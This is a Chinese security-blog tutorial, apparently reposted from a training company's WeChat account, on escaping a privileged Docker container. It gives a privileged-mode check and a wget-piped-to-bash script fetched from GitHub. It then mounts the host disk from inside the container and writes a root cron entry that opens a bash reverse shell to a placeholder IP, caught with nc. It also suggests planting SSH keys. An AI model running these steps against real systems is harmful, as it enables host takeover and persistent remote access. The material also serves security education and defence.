docker特权模式逃逸

admin 2022年5月13日19:54:09评论755 views字数 977阅读3分15秒阅读模式

0x00概述

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。


0x01特权模式检测

  • 手动命令行检测

执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

如果返回 Not privileged mode 则说明当前不是特权模式

docker特权模式逃逸


  • 脚本检测

    wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash

docker特权模式逃逸

0x02利用过程

1.首先以特权模式运行一个docker容器

docker run -it --privileged d27b9ffc5667 /bin/bash

docker特权模式逃逸

2.查看磁盘文件(容器内)

fdisk -l

docker特权模式逃逸


3.vda1存在于/dev目录下

docker特权模式逃逸

4.新建一个目录,将/dev/vda1挂载至新建的目录

mkdir /nuoyan
mount /dev/vda1 /nuoyan

docker特权模式逃逸

5、挂载后就可以访问宿主机目录

docker特权模式逃逸

6.写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /nuoyan/var/spool/cron/root

7.开启nc监听,可以接收到宿主机反弹的shell

0x03其他思路

写ssh公钥文件


*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。


PS:雨笋教育开班通知,小笋们可以推荐给身边有需要的朋友哦

docker特权模式逃逸


原文始发于微信公众号(雨笋君):docker特权模式逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日19:54:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   docker特权模式逃逸https://cn-sec.com/archives/1005534.html

发表评论

匿名网友 填写信息